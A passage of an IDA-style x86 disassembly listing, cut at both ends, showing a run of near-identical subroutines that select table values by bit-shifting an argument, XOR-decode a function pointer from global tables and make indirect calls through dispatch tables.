var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0FBh
		mov	[ebp+var_2C], 23h
		mov	[ebp+var_28], 79h
		mov	[ebp+var_24], 68h
		mov	[ebp+var_20], 25h
		mov	[ebp+var_1C], 0F4h
		mov	[ebp+var_18], 0F2h
		mov	[ebp+var_14], 7Dh
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ch
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A8DBC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A8DBC:				; CODE XREF: sub_4A8D2B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8D2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8E28	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9A8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0D9h
		mov	[ebp+var_2C], 1Dh
		mov	[ebp+var_28], 0DEh
		mov	[ebp+var_24], 35h
		mov	[ebp+var_20], 0EBh
		mov	[ebp+var_1C], 71h
		mov	[ebp+var_18], 2Ah
		mov	[ebp+var_14], 2Dh
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A8EB8
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A8EB8:				; CODE XREF: sub_4A8E28+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8E28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A8F24	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9ACo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7
		mov	[ebp+var_2C], 0C6h
		mov	[ebp+var_28], 0BFh
		mov	[ebp+var_24], 56h
		mov	[ebp+var_20], 45h
		mov	[ebp+var_1C], 9Ah
		mov	[ebp+var_18], 75h
		mov	[ebp+var_14], 74h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A8FB5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A8FB5:				; CODE XREF: sub_4A8F24+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A8F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9021	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9B0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0D8h
		mov	[ebp+var_2C], 95h
		mov	[ebp+var_28], 5Dh
		mov	[ebp+var_24], 56h
		mov	[ebp+var_20], 0Bh
		mov	[ebp+var_1C], 80h
		mov	[ebp+var_18], 17h
		mov	[ebp+var_14], 0B0h
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A90B2
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A90B2:				; CODE XREF: sub_4A9021+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A911E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9B4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C3h
		mov	[ebp+var_2C], 3
		mov	[ebp+var_28], 0C8h
		mov	[ebp+var_24], 9Ah
		mov	[ebp+var_20], 89h
		mov	[ebp+var_1C], 1Ah
		mov	[ebp+var_18], 69h
		mov	[ebp+var_14], 91h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A91AF
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A91AF:				; CODE XREF: sub_4A911E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A911E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A921B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9B8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 22h
		mov	[ebp+var_2C], 0A8h
		mov	[ebp+var_28], 15h
		mov	[ebp+var_24], 98h
		mov	[ebp+var_20], 57h
		mov	[ebp+var_1C], 0B7h
		mov	[ebp+var_18], 8Eh
		mov	[ebp+var_14], 38h
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A92AC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A92AC:				; CODE XREF: sub_4A921B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A921B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9318	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9BCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A4h
		mov	[ebp+var_2C], 98h
		mov	[ebp+var_28], 0B4h
		mov	[ebp+var_24], 2Fh
		mov	[ebp+var_20], 2
		mov	[ebp+var_1C], 96h
		mov	[ebp+var_18], 59h
		mov	[ebp+var_14], 0DDh
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A93A8
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A93A8:				; CODE XREF: sub_4A9318+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9414	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9C0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 49h
		mov	[ebp+var_2C], 16h
		mov	[ebp+var_28], 0CFh
		mov	[ebp+var_24], 18h
		mov	[ebp+var_20], 99h
		mov	[ebp+var_1C], 0E0h
		mov	[ebp+var_18], 90h
		mov	[ebp+var_14], 5Ah
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A94A5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A94A5:				; CODE XREF: sub_4A9414+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9414	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9511	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9C4o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 26h
		mov	[ebp+var_2C], 8Dh
		mov	[ebp+var_28], 0D7h
		mov	[ebp+var_24], 73h
		mov	[ebp+var_20], 0CBh
		mov	[ebp+var_1C], 1Fh
		mov	[ebp+var_18], 1Eh
		mov	[ebp+var_14], 65h
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A959F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A959F:				; CODE XREF: sub_4A9511+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A9511	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A960B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9C8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 5Bh
		mov	[ebp+var_2C], 4Dh
		mov	[ebp+var_28], 0A3h
		mov	[ebp+var_24], 85h
		mov	[ebp+var_20], 27h
		mov	[ebp+var_1C], 0EBh
		mov	[ebp+var_18], 2Eh
		mov	[ebp+var_14], 42h
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A969C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A969C:				; CODE XREF: sub_4A960B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A960B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A9708	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED9CCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 70h
		mov	[ebp+var_2C], 0Ah
		mov	[ebp+var_28], 0C9h
		mov	[ebp+var_24], 24h
		mov	[ebp+var_20], 77h
		mov	[ebp+var_1C], 64h
		mov	[ebp+var_18], 68h
		mov	[ebp+var_14], 29h
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A9799
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A9799:				; CODE XREF: sub_4A9708+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
